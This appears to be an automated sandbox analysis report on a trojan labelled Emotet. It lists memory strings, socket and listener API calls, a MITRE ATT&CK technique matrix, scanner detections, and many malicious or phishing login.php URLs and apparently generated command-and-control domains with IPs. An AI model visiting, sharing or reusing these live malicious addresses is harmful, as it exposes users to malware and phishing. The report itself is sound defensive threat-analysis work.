Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2635595118.0000000001040000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2635595118.0000000001040000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2610626005.0000000000A20000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2610626005.0000000000A20000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2610520727.00000000009C0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2610520727.00000000009C0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2649599507.0000000003270000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2649599507.0000000003270000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2639594297.0000000002EA0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2639594297.0000000002EA0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000010.00000002.2611939403.0000000002AF0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000010.00000002.2611939403.0000000002AF0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000010.00000002.2612614586.0000000002B80000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000010.00000002.2612614586.0000000002B80000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2647909784.0000000002D80000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2647909784.0000000002D80000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2639288300.00000000011D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2639288300.00000000011D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2694402665.0000000002AB0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2694402665.0000000002AB0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2699555610.0000000002CA0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2699555610.0000000002CA0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2707315071.0000000002560000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2707315071.0000000002560000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2705436372.00000000024F0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2705436372.00000000024F0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001B.00000002.2725518370.0000000002E80000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001B.00000002.2725518370.0000000002E80000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001B.00000002.2728043702.0000000003040000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001B.00000002.2728043702.0000000003040000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001E.00000002.2759598984.00000000025F0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001E.00000002.2759598984.00000000025F0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001E.00000002.2785000519.00000000027A0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001E.00000002.2785000519.00000000027A0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000021.00000002.2737098756.0000000002670000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000021.00000002.2737098756.0000000002670000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000021.00000002.2735290502.0000000000B00000.00000040.00000010.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000021.00000002.2735290502.0000000000B00000.00000040.00000010.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000024.00000002.2844886273.0000000001550000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000024.00000002.2844886273.0000000001550000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000024.00000002.2845868580.00000000015B0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000024.00000002.2845868580.00000000015B0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000027.00000002.2871812715.0000000000CD0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000027.00000002.2871812715.0000000000CD0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000027.00000002.2872659642.0000000000D30000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000027.00000002.2872659642.0000000000D30000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006

Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C888F0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,	2_2_02C888F0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C9E6D0 setsockopt,htons,socket,setsockopt,bind,	2_2_02C9E6D0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C9F4A0 htons,socket,setsockopt,closesocket,bind,listen,	2_2_02C9F4A0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_012588F0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,	6_2_012588F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0126F4A0 htons,socket,setsockopt,closesocket,bind,listen,	6_2_0126F4A0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0126E6D0 setsockopt,htons,socket,setsockopt,bind,	6_2_0126E6D0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_010588F0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,	7_2_010588F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0106F4A0 htons,socket,setsockopt,closesocket,bind,listen,	7_2_0106F4A0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0106E6D0 setsockopt,htons,socket,setsockopt,bind,	7_2_0106E6D0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A388F0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,	9_2_00A388F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A4F4A0 htons,socket,setsockopt,closesocket,bind,listen,	9_2_00A4F4A0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A4E6D0 setsockopt,htons,socket,setsockopt,bind,	9_2_00A4E6D0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	22 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	111 Input Capture	2 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Create Account	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	11 Account Discovery	Remote Desktop Protocol	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Valid Accounts	1 Valid Accounts	1 Obfuscated Files or Information	Security Account Manager	1 System Network Connections Discovery	SMB/Windows Admin Shares	111 Input Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	1 Access Token Manipulation	31 Software Packing	NTDS	2 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Registry Run Keys / Startup Folder	613 Process Injection	1 DLL Side-Loading	LSA Secrets	143 System Information Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	1 Bootkit	1 Scheduled Task/Job	322 Masquerading	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	1 Valid Accounts	DCSync	351 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	151 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	13 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	613 Process Injection	Network Sniffing	11 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Bootkit	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
UMwpXhA46R.exe	82%	ReversingLabs	Win32.Trojan.Emotet
UMwpXhA46R.exe	100%	Avira	TR/Crypt.XPACK.Gen
UMwpXhA46R.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://qedysov.com/login.php	100%	Avira URL Cloud	malware
http://qekyqoq.com/login.php	100%	Avira URL Cloud	malware
http://qexyfuq.com/pg	100%	Avira URL Cloud	malware
http://qedysol.com/login.php	100%	Avira URL Cloud	malware
http://vopycoc.com/login.php	100%	Avira URL Cloud	malware
http://pumywug.com/	100%	Avira URL Cloud	phishing
http://qeqykop.com/login.php	100%	Avira URL Cloud	malware
http://vocyzek.com/http://gatyviw.com/	100%	Avira URL Cloud	malware
http://qetyvil.com/H	100%	Avira URL Cloud	malware
http://volyjym.com/login.php	100%	Avira URL Cloud	malware
http://gadycew.com/login.php	100%	Avira URL Cloud	malware
http://vocyjet.com/login.php	100%	Avira URL Cloud	malware
http://qeqyxov.com/login.php	100%	Avira URL Cloud	malware
http://puzylyp.com/login.php	100%	Avira URL Cloud	malware
http://lykyfud.com/login.php	100%	Avira URL Cloud	malware
http://lyxyvyn.com/login.php	100%	Avira URL Cloud	malware
http://galyvuz.com/login.php	100%	Avira URL Cloud	malware
http://lyrywoj.com/login.php	100%	Avira URL Cloud	malware
http://vowyrif.com/login.php	100%	Avira URL Cloud	malware
http://lymyvin.com/	100%	Avira URL Cloud	malware
http://ww16.vofycot.com/login.php?sub1=20241112-0450-397d-84b8-860db74cb63b	100%	Avira URL Cloud	malware
http://vocyruk.com/login.php	100%	Avira URL Cloud	phishing
http://lyryman.com/login.php	100%	Avira URL Cloud	malware
http://lyvysur.com/login.php	100%	Avira URL Cloud	malware
http://vowypim.com/login.php	100%	Avira URL Cloud	malware
http://qexyfuq.com/login.php	100%	Avira URL Cloud	malware
http://vofypam.com/http://pujycyp.com/http://volydyk.com/http://pujycyp.com/http://qetyrul.com/http:	100%	Avira URL Cloud	malware
http://lyvymej.com/login.php	100%	Avira URL Cloud	malware
http://qebyqeq.com/login.php	100%	Avira URL Cloud	malware
http://lyryled.com/login.php	100%	Avira URL Cloud	malware
http://vojygok.com/login.php	100%	Avira URL Cloud	malware
http://www.google.comt.4	0%	Avira URL Cloud	safe
http://gahyvab.com/login.php	100%	Avira URL Cloud	malware
http://qekysip.com/	100%	Avira URL Cloud	malware
http://lyryjir.com/login.php	100%	Avira URL Cloud	malware
http://puzymup.com/login.php	100%	Avira URL Cloud	malware
http://galydyw.com/login.php	100%	Avira URL Cloud	malware
http://pujycil.com/login.php	100%	Avira URL Cloud	malware
http://pumycug.com/	100%	Avira URL Cloud	malware
http://vojyduf.com/login.php	100%	Avira URL Cloud	malware
http://lysytoj.com/login.php	100%	Avira URL Cloud	malware
http://qedynaq.com/login.php//vofymem.com/	0%	Avira URL Cloud	safe
http://pupycuv.com/login.php	100%	Avira URL Cloud	malware
http://qetynev.com/login.php	0%	Avira URL Cloud	safe
http://qetykyq.com/login.php	100%	Avira URL Cloud	malware
http://gatykyh.com/login.php	100%	Avira URL Cloud	malware
http://vofypam.com/login.php	100%	Avira URL Cloud	malware
http://gadyniw.com/login.php	100%	Avira URL Cloud	malware
http://pupywyv.com/login.php	100%	Avira URL Cloud	phishing
http://lygyxux.com/login.php	100%	Avira URL Cloud	malware
http://puzybil.com/login.php	0%	Avira URL Cloud	safe
http://volygoc.com/	100%	Avira URL Cloud	malware
https://puzylyp.com/login.php	100%	Avira URL Cloud	malware
http://lyvynid.com/login.php	100%	Avira URL Cloud	malware
http://www.google.comtQ2	0%	Avira URL Cloud	safe
http://vojybim.com/login.php	100%	Avira URL Cloud	phishing
http://gadydow.com/login.php	100%	Avira URL Cloud	malware
http://qeqyxyp.com/login.php	100%	Avira URL Cloud	malware
http://lysyxar.com/login.php	100%	Avira URL Cloud	malware
http://lyxygax.com/login.php	100%	Avira URL Cloud	malware
http://vopykum.com/login.php	100%	Avira URL Cloud	malware
http://pumyjip.com/login.php	100%	Avira URL Cloud	malware
http://lygyjuj.com/login.php	100%	Avira URL Cloud	malware
http://ganyfuz.com/login.phpE	100%	Avira URL Cloud	malware
http://puvygyv.com/login.php	100%	Avira URL Cloud	malware
http://pupygel.com/	100%	Avira URL Cloud	malware
http://qekyqop.com/login.php	100%	Avira URL Cloud	malware
http://gahydyb.com/	100%	Avira URL Cloud	malware
http://purymog.com/http://qegylul.com/http://lyryman.com/P	100%	Avira URL Cloud	malware
http://lyxyxox.com/login.php	100%	Avira URL Cloud	malware
http://volyquk.com/login.php	100%	Avira URL Cloud	malware
http://lymyxex.com/login.php	100%	Avira URL Cloud	malware
http://vonypic.com/login.php	100%	Avira URL Cloud	malware
http://volyjif.com/login.php	100%	Avira URL Cloud	malware
http://lysysyx.com/login.php	100%	Avira URL Cloud	malware
http://puzyxip.com/login.php	100%	Avira URL Cloud	malware
http://pumyxiv.com/login.php	100%	Avira URL Cloud	malware
http://vofydak.com/login.php	100%	Avira URL Cloud	malware
http://qedysyp.com/login.php	100%	Avira URL Cloud	phishing
http://gahyvuh.com/login.php	100%	Avira URL Cloud	malware
http://puzyduq.com/login.php	100%	Avira URL Cloud	malware
http://puzydal.com/login.php	100%	Avira URL Cloud	malware
http://qegyhig.com/login.phpY	100%	Avira URL Cloud	malware
http://106.15.232.163/H	0%	Avira URL Cloud	safe
http://lyxysad.com/login.php	100%	Avira URL Cloud	malware
http://gahyhys.com/login.php	100%	Avira URL Cloud	malware
http://purywyl.com/login.php	100%	Avira URL Cloud	malware
http://www.google.comtK6	0%	Avira URL Cloud	safe
http://vojyzik.com/login.php	100%	Avira URL Cloud	malware
http://lykyjad.com/login.php	100%	Avira URL Cloud	malware
http://vojycec.com/login.php	100%	Avira URL Cloud	malware
http://galyfis.com/	100%	Avira URL Cloud	malware
http://lymymax.com/H	100%	Avira URL Cloud	malware
http://lyryvur.com/login.php	100%	Avira URL Cloud	malware
http://volydot.com/login.php	100%	Avira URL Cloud	phishing
http://pujygug.com/login.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pupydeq.com	13.248.169.48	true	false	high
pupycag.com	18.208.156.248	true	false	high
lyvyxor.com	208.100.26.245	true	false	high
77026.bodis.com	199.59.243.227	true	false	high
lysyvan.com	188.114.97.3	true	false	high
galynuh.com	64.225.91.73	true	false	high
parkingpage.namecheap.com	91.195.240.19	true	false	high
qegyhig.com	188.114.96.3	true	false	high
gatyfus.com	85.17.31.122	true	false	high
vonypom.com	18.208.156.248	true	false	high
puzylyp.com	75.2.71.199	true	false	high
qexyhuv.com	76.223.67.189	true	false	high
77980.bodis.com	199.59.243.227	true	false	high
pltraffic7.com	72.52.179.174	true	false	high
gadyciz.com	44.221.84.105	true	false	high
deliver.trafficmotor.com	45.79.19.196	true	true	unknown
gadyniw.com	154.212.231.82	true	false	high
lyxynyx.com	103.224.212.210	true	false	high
www.sedoparking.com	64.190.63.136	true	false	high
lygyvuj.com	52.34.198.229	true	false	high
lygynud.com	3.94.10.34	true	false	high
gahyqah.com	23.253.46.64	true	false	high
sedoparking.com	64.190.63.136	true	false	high
vocyzit.com	44.221.84.105	true	false	high
galyqaz.com	199.191.50.83	true	false	high
vofycot.com	103.224.182.252	true	false	high
qetyhyg.com	64.225.91.73	true	false	high
gahyhiz.com	44.221.84.105	true	false	high
qetyfuv.com	44.221.84.105	true	false	high
gtm-sg-6l13ukk0m05.qu200.com	103.150.10.48	true	false	high
lymyxid.com	3.94.10.34	true	false	high
qegyval.com	154.85.183.50	true	false	high
gatyzoz.com	unknown	unknown	false	high
lykygaj.com	unknown	unknown	false	high
qedyxel.com	unknown	unknown	false	high
qedyqup.com	unknown	unknown	false	high
qekyluv.com	unknown	unknown	false	high
gatyrez.com	unknown	unknown	false	high
vofybic.com	unknown	unknown	false	high
pujydag.com	unknown	unknown	false	high
vojykom.com	unknown	unknown	false	high
qetysuq.com	unknown	unknown	false	high
vonyzut.com	unknown	unknown	false	high
pufyjuq.com	unknown	unknown	false	high
pujytug.com	unknown	unknown	false	high
galyhiw.com	unknown	unknown	false	high
lykygun.com	unknown	unknown	false	high
vopymyc.com	unknown	unknown	false	high
gatyfaz.com	unknown	unknown	false	high
vojycit.com	unknown	unknown	false	high
lyvymej.com	unknown	unknown	false	high
lygyvar.com	unknown	unknown	false	high
purygiv.com	unknown	unknown	false	high
gahykeb.com	unknown	unknown	false	high
purymog.com	unknown	unknown	false	high
gadyzib.com	unknown	unknown	false	high
ganyqow.com	unknown	unknown	false	high
lyxysun.com	unknown	unknown	false	high
puzyjyg.com	unknown	unknown	false	high
vopydek.com	unknown	unknown	false	high
qexyfuq.com	unknown	unknown	false	high
gatykyh.com	unknown	unknown	false	high
vocykem.com	unknown	unknown	false	high
gahynus.com	unknown	unknown	false	high
pumypop.com	unknown	unknown	false	high
lyvysur.com	unknown	unknown	false	high
galypob.com	unknown	unknown	false	high
puzypav.com	unknown	unknown	false	high
gacyqoz.com	unknown	unknown	false	high
lykywid.com	unknown	unknown	false	high
lykytin.com	unknown	unknown	false	high
vofyref.com	unknown	unknown	false	high
qekytig.com	unknown	unknown	false	high
vocyzek.com	unknown	unknown	false	high
puvypoq.com	unknown	unknown	false	high
puvybeg.com	unknown	unknown	false	high
pupydig.com	unknown	unknown	false	high
pupyguq.com	unknown	unknown	false	high
qedyqal.com	unknown	unknown	false	high
vowymom.com	unknown	unknown	false	high
purypol.com	unknown	unknown	false	high
ganypeb.com	unknown	unknown	false	high
vopymit.com	unknown	unknown	false	high
vowyguf.com	unknown	unknown	false	high
pupytiq.com	unknown	unknown	false	high
lymyfoj.com	unknown	unknown	false	high
vowyzuf.com	unknown	unknown	false	high
gatyruw.com	unknown	unknown	false	high
qebynyg.com	unknown	unknown	false	high
puzymev.com	unknown	unknown	false	high
pupymol.com	unknown	unknown	false	high
vojycif.com	unknown	unknown	false	high
qebyvyl.com	unknown	unknown	false	high
lymysan.com	unknown	unknown	false	high
qekynuq.com	unknown	unknown	false	high
puryjil.com	unknown	unknown	false	high
puvytuv.com	unknown	unknown	false	high
galyzus.com	unknown	unknown	false	high
gadyfuh.com	unknown	unknown	false	high
vofycyk.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ww16.vofycot.com/login.php?sub1=20241112-0450-397d-84b8-860db74cb63b	true	Avira URL Cloud: malware	unknown
https://puzylyp.com/login.php	true	Avira URL Cloud: malware	unknown
http://galyqaz.com/login.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://vocyzek.com/http://gatyviw.com/	svchost.exe, 00000002.00000003.2587482853.00000000033CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pumywug.com/	svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347450056.000000000338B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://qedysov.com/login.php	svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qetyvil.com/H	svchost.exe, 00000002.00000003.2612263098.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578250611.00000000040F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2585897260.00000000040F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qekyqoq.com/login.php	svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375772840.0000000003361000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381004146.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376920856.0000000003368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://volyjym.com/login.php	svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344112591.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
